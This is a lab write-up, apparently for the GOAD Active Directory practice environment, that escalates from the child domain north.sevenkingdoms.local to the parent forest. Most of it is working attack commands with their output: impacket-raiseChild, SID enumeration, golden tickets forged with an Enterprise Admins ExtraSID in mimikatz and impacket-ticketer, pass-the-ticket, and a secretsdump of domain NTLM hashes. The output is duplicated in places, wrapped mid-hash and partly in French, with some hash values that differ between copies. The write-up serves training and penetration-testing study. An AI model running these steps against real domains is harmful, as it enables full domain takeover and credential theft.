

P1 - SEVENKINGDOMS

🔥 [cyberforge.blog/writeups/GOAD/CH1/CH1 - SEVENKINGDOMS](https://cyberforge.blog/writeups/GOAD/CH1/CH1-SEVENKINGDOMS)

Exploiting the trust relationship between NORTH and SEVENKINGDOMS with impacket-raisechild

A known tool when we have a child domain is `impacket-raiseChild`. We try to execute it:

```
impacket-raiseChild north.sevenkingdoms.local/samwell.tarly:Heartsbane
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Raising child domain north.sevenkingdoms.local
[*] Forest FQDN is: sevenkingdoms.local
[*] Raising north.sevenkingdoms.local to sevenkingdoms.local
[*] sevenkingdoms.local Enterprise Admin SID is: S-1-5-21-748864312-3157632180-313794574-519
[*] Getting credentials for north.sevenkingdoms.local
north.sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:973a30988c2e877851738b51f477514f:::
north.sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96s:3edede9cfe62c717e4676263309cc1dc8baa448b31abbb7b59d142095b0238e0
[*] Getting credentials for sevenkingdoms.local
sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:aaa85b50854ea86a640d531aa2d82058:::
sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96s:9ef03de69a5288f15562c71c2e62cf3c28b58c17aebfc7cea4c43b0da1a0bb65
[*] Target User account name is Administrator
sevenkingdoms.local/Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
sevenkingdoms.local/Administrator:aes256-cts-hmac-sha1-96s:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48efdd56424e1206e581e4dd827
```

▼ Output raiseChild

```
impacket-raiseChild north.sevenkingdoms.local/samwell.tarly:Heartsbane
Impacket v0.11.0 - Copyright 2023 Fortra
```

```
[*] Raising child domain north.sevenkingdoms.local
[*] Forest FQDN is: sevenkingdoms.local
[*] Raising north.sevenkingdoms.local to sevenkingdoms.local
[*] sevenkingdoms.local Enterprise Admin SID is: S-1-5-21-748864312-3157632180-313794574-519
[*] Getting credentials for north.sevenkingdoms.local
north.sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:973a30988c2e877851738b51f477514f:::
north.sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96s:3edede9cfe62c717e4676263309cc1dc8baa448b31abbb7b59d142095b0238e0
[*] Getting credentials for sevenkingdoms.local
sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:aaa85b50854ea86a640d531aa2d82058:::
sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96s:9ef03de69a5288f15562c71c2e62cf3c28b58c17aebfc7cea4c43b0da1a0bb65
[*] Target User account name is Administrator
sevenkingdoms.local/Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
sevenkingdoms.local/Administrator:aes256-cts-hmac-sha1-96s:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48efdd56424e1206e581e4dd827
```



It's magical, we have the hash of the SEVENKINGDOMS domain administrator. Let's try to understand what happened.

Manual exploitation

Explanation of SID and SIDHistory

This "vulnerability" is based on the SID, and more specifically the SIDHistory.

The SID (Security Identifier) is a unique identifier, which is assigned to each user, group, computer, etc. It consists of 4 parts:

- Security authority SID: identifies the security authority that issued the SID. It is always the same for a given domain.
- Revision: identifies the SID version. Generally 1.
- Relative Identifier (RID): Unique part of the SID that distinguishes each user or group within a specific domain.
- SIDHistory: identifies the old SIDs of the security object.

An example:

S-1-5-21-748864312-3157632180-313794574-519

- 1: Revision
- 5: Security authority (Here the value 5 corresponds to the security authority NT AUTHORITY)
- 21-748864312-3157632180-313794574: Domain identifier (unique to each domain, generated when the domain is created)
- 519: Relative identifier

Some RID are assigned by default to known groups. For example, the RID **519** corresponds to the group Enterprise Admins. The RID **512** corresponds to the Domain Admins group.

Note that the SID is the value that is checked by a server to determine a user's rights, **not the username**.

We can then determine the SID present in the domain with `impacket -lookupsid`:

- North.sevenkingdoms.local
- Sevenkingdoms.local

```
impacket-lookupsid north.sevenkingdoms.local/samwell.tarly:Heartsbane@192.168.56.11 -domain-sids
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Brute forcing SIDs at 192.168.56.11
[*] StringBinding ncacn_np:192.168.56.11[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1328384573-4090356449-2552632942
500: NORTH\Administrator (SidTypeUser)
501: NORTH\Guest (SidTypeUser)
502: NORTH\krbtgt (SidTypeUser)
512: NORTH\Domain Admins (SidTypeGroup)
513: NORTH\Domain Users (SidTypeGroup)
514: NORTH\Domain Guests (SidTypeGroup)
515: NORTH\Domain Computers (SidTypeGroup)
516: NORTH\Domain Controllers (SidTypeGroup)
517: NORTH\Cert Publishers (SidTypeAlias)
520: NORTH\Group Policy Creator Owners (SidTypeGroup)
521: NORTH\Read-only Domain Controllers (SidTypeGroup)
522: NORTH\Cloneable Domain Controllers (SidTypeGroup)
525: NORTH\Protected Users (SidTypeGroup)
526: NORTH\Key Admins (SidTypeGroup)
553: NORTH\RAS and IAS Servers (SidTypeAlias)
571: NORTH\Allowed RODC Password Replication Group (SidTypeAlias)
572: NORTH\Denied RODC Password Replication Group (SidTypeAlias)
1000: NORTH\vagrant (SidTypeUser)
1001: NORTH\WINTERFELL$ (SidTypeUser)
1102: NORTH\DnsAdmins (SidTypeAlias)
1103: NORTH\DnsUpdateProxy (SidTypeGroup)
1104: NORTH\SEVENKINGDOMS$ (SidTypeUser)
1105: NORTH\CASTELBLACK$ (SidTypeUser)
1106: NORTH\Stark (SidTypeGroup)
1107: NORTH\Night Watch (SidTypeGroup)
1108: NORTH\Mormont (SidTypeGroup)
1109: NORTH\AcrossTheSea (SidTypeAlias)
1110: NORTH\arya.stark (SidTypeUser)
1111: NORTH\edward.stark (SidTypeUser)
1112: NORTH\catelyn.stark (SidTypeUser)
1113: NORTH\robb.stark (SidTypeUser)
1114: NORTH\sansa.stark (SidTypeUser)
1115: NORTH\brandon.stark (SidTypeUser)
1116: NORTH\rickon.stark (SidTypeUser)
1117: NORTH\hodor (SidTypeUser)
1118: NORTH\jon.snow (SidTypeUser)
1119: NORTH\samwell.tarly (SidTypeUser)
1120: NORTH\jeor.mormont (SidTypeUser)
1121: NORTH\sql_svc (SidTypeUser)
1122: NORTH\john (SidTypeUser)
```

▼ Output `impacket-lookupsid north.sevenkingdoms.local`

```
impacket-lookupsid north.sevenkingdoms.local/samwell.tarly:Heartsbane@192.168.56.11
-domain-sids
Impacket v0.11.0 - Copyright 2023 Fortra
```

```
[*] Brute forcing SIDs at 192.168.56.11
[*] StringBinding ncacn_np:192.168.56.11[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1328384573-4090356449-2552632942
500: NORTH\Administrator (SidTypeUser)
501: NORTH\Guest (SidTypeUser)
502: NORTH\krbtgt (SidTypeUser)
512: NORTH\Domain Admins (SidTypeGroup)
513: NORTH\Domain Users (SidTypeGroup)
514: NORTH\Domain Guests (SidTypeGroup)
```

515: NORTH\Domain Computers (SidTypeGroup)
516: NORTH\Domain Controllers (SidTypeGroup)
517: NORTH\Cert Publishers (SidTypeAlias)
520: NORTH\Group Policy Creator Owners (SidTypeGroup)
521: NORTH\Read-only Domain Controllers (SidTypeGroup)
522: NORTH\Cloneable Domain Controllers (SidTypeGroup)
525: NORTH\Protected Users (SidTypeGroup)
526: NORTH\Key Admins (SidTypeGroup)
553: NORTH\RAS and IAS Servers (SidTypeAlias)
571: NORTH\Allowed RODC Password Replication Group (SidTypeAlias)
572: NORTH\Denied RODC Password Replication Group (SidTypeAlias)
1000: NORTH\vagrant (SidTypeUser)
1001: NORTH\WINTERFELL\$ (SidTypeUser)
1102: NORTH\DnsAdmins (SidTypeAlias)
1103: NORTH\DnsUpdateProxy (SidTypeGroup)
1104: NORTH\SEVENKINGDOMS\$ (SidTypeUser)
1105: NORTH\CASTELBLACK\$ (SidTypeUser)
1106: NORTH\Stark (SidTypeGroup)
1107: NORTH\Night Watch (SidTypeGroup)
1108: NORTH\Mormont (SidTypeGroup)
1109: NORTH\AcrossTheSea (SidTypeAlias)
1110: NORTH\arya.stark (SidTypeUser)
1111: NORTH\edward.stark (SidTypeUser)
1112: NORTH\catelyn.stark (SidTypeUser)
1113: NORTH\robb.stark (SidTypeUser)
1114: NORTH\sansa.stark (SidTypeUser)
1115: NORTH\brandon.stark (SidTypeUser)
1116: NORTH\rickon.stark (SidTypeUser)
1117: NORTH\hodor (SidTypeUser)
1118: NORTH\jon.snow (SidTypeUser)
1119: NORTH\samwell.tarly (SidTypeUser)
1120: NORTH\jeor.mormont (SidTypeUser)
1121: NORTH\sql_svc (SidTypeUser)
1122: NORTH\john (SidTypeUser)

Once we have laid out the concept of SID, we can address the concept of SIDHistory.

The SIDHistory is a concept that, by default, was used legitimately in the case of migrating an account from one AD to another:



Forging a Golden Ticket and manual exploitation

So, if we have control of a child domain (NORTH.SEVENKINGDOMS.LOCAL), we can have the hash of the krbtgt account (which is used to forge TGT tickets), forge a TGT ticket (with the SIDHistory in it), and do a **Pass the ticket!**

The sequence would be as follows:

Compromise domain
NORTH.SEVENKINGDOMS.L

Obtain \n Domain SID \n
Parent domain SID \n
NTLM of krbtgt account

Forge a TGT ticket by
adding the SIDHistory in the
'ExtraSIDs' field

Pass the ticket

Access to
SEVENKINGDOMS.LOCAL
domain validated by the
SID contained in 'ExtraSIDs'

We then have 2 ways to forge a TGT ticket:

With mimikatz:

```
kerberos::golden /admin:Administrator /domain:north.sevenkingdoms.local /sid:S-1-5-21-1328384573-4090356449-2552632942 /sids:S-1-5-21-748864312-3157632180-313794574-519 /krbtgt:973a30988c2e877851738b51f477514f /startoffset:0 /endin:600 /renewmax:10080 /ptt
```

```
mimikatz # kerberos::golden /admin:Administrator /domain:north.sevenkingdoms.local /sid:S-1-5-21-1328384573-4090356449-2552632942 /sids:S-1-5-21-748864312-3157632180-313794574-519 /krbtgt:973a30988c2e877851738b51f477514f /startoffset:0 /endin:600 /renewmax:10080 /ptt
TE
User      : Administrator
Domain    : north.sevenkingdoms.local (NORL)
SID       : S-1-5-21-1328384573-4090356449-2552632942
User Id   : 500
Groups Id : *S-1-5-21-520-518-519
Extra SIDs: S-1-5-21-748864312-3157632180-313794574-519 ;
ServiceKey: 973a30988c2e877851738b51f477514f - rc4_hmac_nt
Lifetime  : 12/27/2023 6:28:13 PM ; 12/28/2023 4:28:13 AM ; 1/3/2024 6:28:13 PM
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'Administrator @ north.sevenkingdoms.local' successfully submitted for current session
```

Then we can access SEVENKINGDOMS.LOCAL resources:

```
PS C:\Windows\Temp> dir \\KINGSLANDING\admin$\NTDS\

Directory: \\KINGSLANDING\admin$\NTDS

Mode                LastWriteTime         Length Name
----                -
-a----          12/27/2023   8:52 PM           8192 edb.chk
-a----          12/27/2023   6:08 PM       10485760 edb.log
-a----          12/24/2023   7:41 AM       10485760 edb00001.log
-a----          12/24/2023   7:41 AM       10485760 edbres00001.jrs
-a----          12/24/2023   7:41 AM       10485760 edbres00002.jrs
-a----          12/24/2023   7:41 AM       10485760 edbtmp.log
-a----          12/27/2023   8:52 PM       16777216 ntds.dit
-a----          12/27/2023  12:53 PM         16384 ntds.jfm
-a----          12/27/2023   8:52 PM       434176 temp.edb
```

With impacket-ticketer

```
impacket-ticketer -nthash 973a30988c2e877851738b51f477514f \
-domain-sid S-1-5-21-1328384573-4090356449-2552632942 \
-domain north.sevenkingdoms.local \
-extra-sid S-1-5-21-748864312-3157632180-313794574-519 \
goldenuser

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for north.sevenkingdoms.local/goldenuser
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncAsRepPart
[*] Saving ticket in goldenuser.ccache
```

▼ Output impacket-ticketer

```
impacket-ticketer -nthash 973a30988c2e877851738b51f477514f \
-domain-sid S-1-5-21-1328384573-4090356449-2552632942 \
-domain north.sevenkingdoms.local \
-extra-sid S-1-5-21-748864312-3157632180-313794574-519 \
goldenuser
```

Impacket v0.11.0 - Copyright 2023 Fortra

```
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for north.sevenkingdoms.local/goldenuser
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
```

```
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in goldenuser.ccache
```

Le ticket est sauvé dans le fichier `goldenuser.ccache`, nous devons alors l'exporter dans la variable d'environnement `KRB5CCNAME` :

```
export KRB5CCNAME=goldenuser.ccache
```

Puis ensuite nous pouvons utiliser ce ticket kerberos en signifiant le flag `-k` :



```
impacket-secretsdump -k -no-pass -just-dc-ntlm north.sevenkingdoms.local/goldenuser@kingslanding.sevenkingdoms.local

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:aaa85b50854ea86a640d531aa2d82058:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
tywin.lannister:1112:aad3b435b51404eeaad3b435b51404ee:af52e9ec3471788111a6308abff2e9b7:::
jaime.lannister:1113:aad3b435b51404eeaad3b435b51404ee:12e3795b7dedb3bb741f2e2869616080:::
cersei.lannister:1114:aad3b435b51404eeaad3b435b51404ee:c247f62516b53893c7addcf8c349954b:::
tyron.lannister:1115:aad3b435b51404eeaad3b435b51404ee:b3b3717f7d51b37fb325f7e7d048e998:::
robert.baratheon:1116:aad3b435b51404eeaad3b435b51404ee:9029cf007326107eb1c519c84ea60d8e:::
joffrey.baratheon:1117:aad3b435b51404eeaad3b435b51404ee:3b60abbc25770511334b3829866b08f1:::
renly.baratheon:1118:aad3b435b51404eeaad3b435b51404ee:1e9ed4fc99088768eed631acfd49bce:::
stannis.baratheon:1119:aad3b435b51404eeaad3b435b51404ee:d75b9fdf23c0d9a6549cff9ed6e489cd:::
petyr.baelish:1120:aad3b435b51404eeaad3b435b51404ee:6c439acfa121a821552568b086c8d210:::
lord.varys:1121:aad3b435b51404eeaad3b435b51404ee:52ff2a79823d81d6a3f4f8261d7acc59:::
maester.pycelle:1122:aad3b435b51404eeaad3b435b51404ee:9a2a96fa3ba6564e755e8d455c007952:::
KINGSLANDING$:1001:aad3b435b51404eeaad3b435b51404ee:abae99f0ca21da271dc9e7f6228dc829:::
NORTH$:1104:aad3b435b51404eeaad3b435b51404ee:8ebbd52cd5a81b6114389a0d886c187c:::
[*] Cleaning up...
```

▼ Output impacket-secretsdump

```
impacket-secretsdump -k -no-pass -just-dc-ntlm
north.sevenkingdoms.local/goldenuser@kingslanding.sevenkingdoms.local
```

```
Impacket v0.11.0 - Copyright 2023 Fortra
```

```
[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e
:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:aaa85b50854ea86a640d531aa2d82058:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
tywin.lannister:1112:aad3b435b51404eeaad3b435b51404ee:af52e9ec3471788111a6308abff2e
9b7:::
jaime.lannister:1113:aad3b435b51404eeaad3b435b51404ee:12e3795b7dedb3bb741f2e2869616
080:::
cersei.lannister:1114:aad3b435b51404eeaad3b435b51404ee:c247f62516b53893c7addcf8c349
954b:::
tyron.lannister:1115:aad3b435b51404eeaad3b435b51404ee:b3b3717f7d51b37fb325f7e7d048e
998:::
```



```

robert.baratheon:1116:aad3b435b51404eeaad3b435b51404ee:9029cf007326107eb1c519c84ea6
0dbe:::
joffrey.baratheon:1117:aad3b435b51404eeaad3b435b51404ee:3b60abbc25770511334b3829866
b08f1:::
renly.baratheon:1118:aad3b435b51404eeaad3b435b51404ee:1e9ed4fc99088768eed631acfc49
bce:::
stannis.baratheon:1119:aad3b435b51404eeaad3b435b51404ee:d75b9fdf23c0d9a6549cff9ed6e
489cd:::
petyer.baelish:1120:aad3b435b51404eeaad3b435b51404ee:6c439acfa121a821552568b086c8d2
10:::
lord.varys:1121:aad3b435b51404eeaad3b435b51404ee:52ff2a79823d81d6a3f4f8261d7acc59:::
:
maester.pycelle:1122:aad3b435b51404eeaad3b435b51404ee:9a2a96fa3ba6564e755e8d455c007
952:::
KINGSLANDING$:1001:aad3b435b51404eeaad3b435b51404ee:abae99f0ca21da271dc9e7f6228dc82
9:::
NORTH$:1104:aad3b435b51404eeaad3b435b51404ee:8ebbd52cd5a81b6114389a0d886c187c:::
[*] Cleaning up...

```

Analysis of the Forged TGT

Using `impacket-ticketer`, we have the advantage (with the `-debug` flag) of analyzing the forged TGT (Ticket Granting Ticket):

```
EffectiveName: 'goldenuser'
```

We indeed have a username that does not exist, **but it will be the SID and not the username that the DC (Domain Controller) will examine to determine our rights.**

```

LogonDomainId:
  Revision: 1
  SubAuthorityCount: 4
  IdentifierAuthority: b'\x00\x00\x00\x00\x00\x05'
  SubAuthority:
    [
      21,
      1328384573,
      4090356449,
      2552632942,
    ]

```

We find the SID of the domain `NORTH.SEVENKINGDOMS.LOCAL`.

```

ExtraSids:

  Sid:
    Revision: 1
    SubAuthorityCount: 5
    IdentifierAuthority: b'\x00\x00\x00\x00\x00\x05'
    SubAuthority:
      [

```

```

        21,
        748864312,
        3157632180,
        313794574,
        519,
    ]
    Attributes: 7 ,
]

```

Finally, in the ExtraSids field, we indeed have the SIDHistory corresponding to the Enterprise Admins group of the domain SEVENKINGDOMS.LOCAL.

▼ Entièrement du ticket TGT forgé

```

CommonHeader:
Version: 1
Endianness: 16
CommonHeaderLength: 8
Filler: 3435973836
PrivateHeader:
ObjectBufferLength: 504
Filler: 3435973836
Data:
LogonTime:
dwLowDateTime: 358197248
dwHighDateTime: 31078712
LogoffTime:
dwLowDateTime: 4294967295
dwHighDateTime: 2147483647
KickOffTime:
dwLowDateTime: 4294967295
dwHighDateTime: 2147483647
PasswordLastSet:
dwLowDateTime: 358197248
dwHighDateTime: 31078712
PasswordCanChange:
dwLowDateTime: 0
dwHighDateTime: 0
PasswordMustChange:
dwLowDateTime: 4294967295
dwHighDateTime: 2147483647
EffectiveName: 'goldenuser'
FullName: ''
LogonScript: ''
ProfilePath: ''
HomeDirectory: ''
HomeDirectoryDrive: ''
LogonCount: 500
BadPasswordCount: 0
UserId: 500
PrimaryGroupId: 513
GroupCount: 5

```

GroupIds:

RelativeId: 513
Attributes: 7 ,

RelativeId: 512
Attributes: 7 ,

RelativeId: 520
Attributes: 7 ,

RelativeId: 518
Attributes: 7 ,

RelativeId: 519
Attributes: 7 ,

]

UserFlags: 32

UserSessionKey:

Data:

b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

LogonServer: ''

LogonDomainName: 'NORTH.SEVENKINGDOMS.LOCAL'

LogonDomainId:

Revision: 1

SubAuthorityCount: 4

IdentifierAuthority: b'\x00\x00\x00\x00\x00\x05'

SubAuthority:

[

21,

1328384573,

4090356449,

2552632942,

]

LMKey: b'\x00\x00\x00\x00\x00\x00\x00\x00'

UserAccountControl: 528

SubAuthStatus: 0

LastSuccessfulILogon:

dwLowDateTime: 0

dwHighDateTime: 0

LastFailedILogon:

dwLowDateTime: 0

dwHighDateTime: 0

FailedILogonCount: 0

Reserved3: 0

SidCount: 1

ExtraSids:

Sid:

Revision: 1

SubAuthorityCount: 5

IdentifierAuthority: b'\x00\x00\x00\x00\x00\x05'
SubAuthority:
[
21,
748864312,
3157632180,
313794574,
519,
]
Attributes: 7 ,
]
ResourceGroupDomainSid: NULL
ResourceGroupCount: 0
ResourceGroupIds: NULL

[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[+] Customized EncTicketPart
EncTicketPart:
flags=1356857344
key=EncryptionKey:
keytype=23
keyvalue=JEpRhIuxULxqkGB

crealm=NORTH.SEVENKINGDOMS.LOCAL
cname=PrincipalName:
name-type=1
name-string=SequenceOf:
goldenuser

transited=TransitedEncoding:
tr-type=0
contents=

authtime=20231228024640Z
starttime=20231228024640Z
endtime=20331225024640Z
renew-till=20331225024640Z
authorization-data=AuthorizationData:
Sequence:
ad-type=1
ad-
data=0x308202fa308202f6a00402020080a18202ec048202e8060000000000000000100000008020000
6800000000000000a0000001e00000070020000000000001100000008000000900200000000000120
000001c00000098020000000000000600000014000000b802000000000000700000014000000d00200
00000000001100800cccccccf801000cccccccd649000000a859153839da01ffffffffffff7ff
ffffffffffff7f00a859153839da010000000000000000ffffffffffff7f14001400b92f00000000

8229150dd0f6e3c589782007875868675a1ccc4631597ee14d3d241d3dc5cb7bce63cdc38b69fb7d122
54d7569a6ab131c389de82d70fea4a11f97e30e75e3a7f20c31d06c0fcc2ed11c57c3db122edf055e2d
0bbe8127ba01f7a6cc4f523fbfcd879718b3867fc7d4d7197861eb9a349f2529b96fafaf06340704d6e
54d771c9a6f455ed001bb1eb26f8deb673c46ca029f5b938426cbcd555a19dc9110874c422e8c134a1b
b11562d26b38b20c7e41a9e07173c1eb5e7dc5103df41a2e39dbb6458053841e9c5cfc92c3f8be5572a
40d073c1fcecaba583afaf1a50c95bc73dc601391d72f27d9fa946c123335a190e27a5153c4ad005b6f
587a7ddc3aefbe599dde43f94425c8f3a31bf4b65e6576da59085d4457b9ac0110faf8c5fe89858997
1e738c1b674ab845bbb0897a26c16f96e60b90b4ffc3cedac98eb0e1b74bfb4ed7a1b6e0c7faedaf785
3a4fdc36c24cadbb095e1aecc28c424bc7e031cf0952bf69d51e24bd5b7fbc680013b8392bd16c12fec
81656b98ad5be9540948e6a160b1d0c082d03faae5a26b36011845318dfe4250a13db9bdbca2a5779c2
24df4b065b8d9a20ba1be772e594e16a306fe4b0120a484fb97afc948270ae78e7c5ce25c99e09a2a16
958e0e41cf8df2b4b496eb9a4

enc-part=EncryptedData:

etype=23

kvno=1

cipher=0x1dae9258ab77cf062b8f7944d4459ae39b1f18b7d5adaac906f17d5fb24a9742a9845191ce
be09f09191b32905f2dcd97dd38c8dcd07d6aef473fd89cd880f6d6756aebea6a7fadbf7ec8a98a9b69
f602f9670c3a56ecd4d31eb3683f891846f150b7ac17908d774f2c627a6abe39776244875f53a2083d3
61f0894fe9c9bfc20d4ff595f6bd6010a5397c4476d741a202fe98c0215f59c5e8a0920c46bb85a559a
6e12b11cbbc329e46494bd58d895cac2c14e8bf33e45a11554e2d25c9183d569ce1a4e92d7f481ce7f9
542ba76626409fd54acd69982878793b81551e0949123d1fe6a507fb6e03ede710147a2771f106b4d23
773c21923aa3a30002f82b2bf5e2138b5a583c624c5ca9f7767cdad25cb1decae29

Epilogue and Why This Attack Works

Microsoft, in its documentation, explains that there is no isolation between child and parent domains, **and the boundary between the two should never be considered as segmentation/isolation between them.**

There are mechanisms against this "vulnerability," notably **SID Filtering**, which involves filtering requests containing critical and known SIDs in the SIDHistory/ExtraSID.

This mechanism is activated **by default** but is activated **per SID**. Consequently, the **Enterprise Admins SID** is designated as **ForestSpecific** and is thus filtered **between forests but not between subdomains**.

It's highly likely that this default setting may never be corrected, allowing penetration testers and hackers to take full advantage!

Resources

- [https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755321\(v=ws.10\)?redirectedfrom=MSDN](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755321(v=ws.10)?redirectedfrom=MSDN)
- <https://harmj0y.medium.com/a-guide-to-attacking-domain-trusts-ef5f8992bb9d>